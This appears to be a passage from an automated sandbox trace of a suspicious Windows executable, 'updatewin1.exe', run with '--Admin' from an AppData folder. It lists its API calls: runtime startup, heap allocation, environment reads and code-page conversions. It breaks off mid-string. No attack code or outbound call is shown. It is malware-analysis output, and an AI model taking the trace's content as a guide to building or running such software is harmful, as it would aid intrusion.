[0048.992] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0048.992] ExitProcess (uExitCode=0x0) [0048.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5ead00 | out: hHeap=0x5c0000) returned 1 [0048.993] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "8" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" page_root = "0x44fd9000" os_pid = "0x7fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x7a8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0x358 [0049.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xe1fa4f0, dwHighDateTime=0x1d53559)) [0049.055] GetCurrentProcessId () returned 0x7fc [0049.055] GetCurrentThreadId () returned 0x358 [0049.055] GetTickCount () returned 0x1af61 [0049.055] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16932627243) returned 1 [0049.063] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0049.063] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x3e0000 [0049.065] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.065] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.065] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.065] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.065] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0049.065] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.065] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.065] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.066] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.066] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.066] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.066] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.066] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.066] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.066] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.066] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.067] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.067] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.067] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.067] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.068] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.068] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x214) returned 0x3e07d0 [0049.068] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.068] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.068] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0049.068] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0049.068] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0049.069] GetCurrentThreadId () returned 0x358 [0049.069] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0049.069] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x800) returned 0x3e09f0 [0049.069] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.069] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.069] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.069] SetHandleCount (uNumber=0x20) returned 0x20 [0049.069] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe\" --Admin" [0049.105] GetEnvironmentStringsW () returned 0x2b4e78* [0049.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0049.105] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x565) returned 0x3e11f8 [0049.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3e11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0049.105] FreeEnvironmentStringsW (penv=0x2b4e78) returned 1 [0049.105] GetLastError () returned 0x0 [0049.105] SetLastError (dwErrCode=0x0) [0049.105] GetLastError () returned 0x0 [0049.105] SetLastError (dwErrCode=0x0) [0049.105] GetLastError () returned 0x0 [0049.106] SetLastError (dwErrCode=0x0) [0049.106] GetACP () returned 0x4e4 [0049.106] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x220) returned 0x3e1768 [0049.106] GetLastError () returned 0x0 [0049.106] SetLastError (dwErrCode=0x0) [0049.106] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.106] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0049.106] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0049.106] GetLastError () returned 0x0 [0049.106] SetLastError (dwErrCode=0x0) [0049.106] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.106] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0049.106] GetLastError () returned 0x0 [0049.106] SetLastError (dwErrCode=0x0) [0049.106] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ") returned 256 [0049.106] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.106] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xac\x5f\x85\xff\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.106] GetLastError () returned 0x0 [0049.106] SetLastError (dwErrCode=0x0) [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.106] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ") returned 256 [0049.106] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.106] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䴎Ｃ㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0049.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x